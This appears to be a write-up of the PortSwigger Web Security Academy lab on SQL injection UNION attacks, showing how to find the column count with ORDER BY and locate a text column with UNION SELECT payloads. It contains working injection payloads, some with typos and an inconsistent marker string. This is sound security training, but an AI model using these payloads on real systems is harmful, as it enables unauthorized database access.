← Back to Writeups
PORTSWIGGERN/ASQL_injection

SQL injection UNION attack,finding a column containing text

XESXOR9/2/20262 min read
#sql_injection#portswigger#web-security-academy

SQL injection UNION attack,finding a column containing text

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab SQL injection UNION attack,finding a column containing text (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Solution :

Query made -

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>'

ORDER BY 4 return an error, means there are 3 columns being queried and retreived by the web application.

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 4 --

image

Determine the column containng text data -

image

We need to use the UNION SELECT payload using 3 NULL values. Try thetring value 33eWHU in one NULL value to see if it returns that string. If it does , then it means the column contains string data else it is not sting data.

33eWHU in 1st NULL -

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT '3eWHU',NULL,NULL --

image

33eWHU in 2nd NULL -

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT NULL,'33eWHU',NULL

image

image

image

Key Takeaways / Lessons

  • Understanding SQL_injection detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection UNION attack,finding a column containing text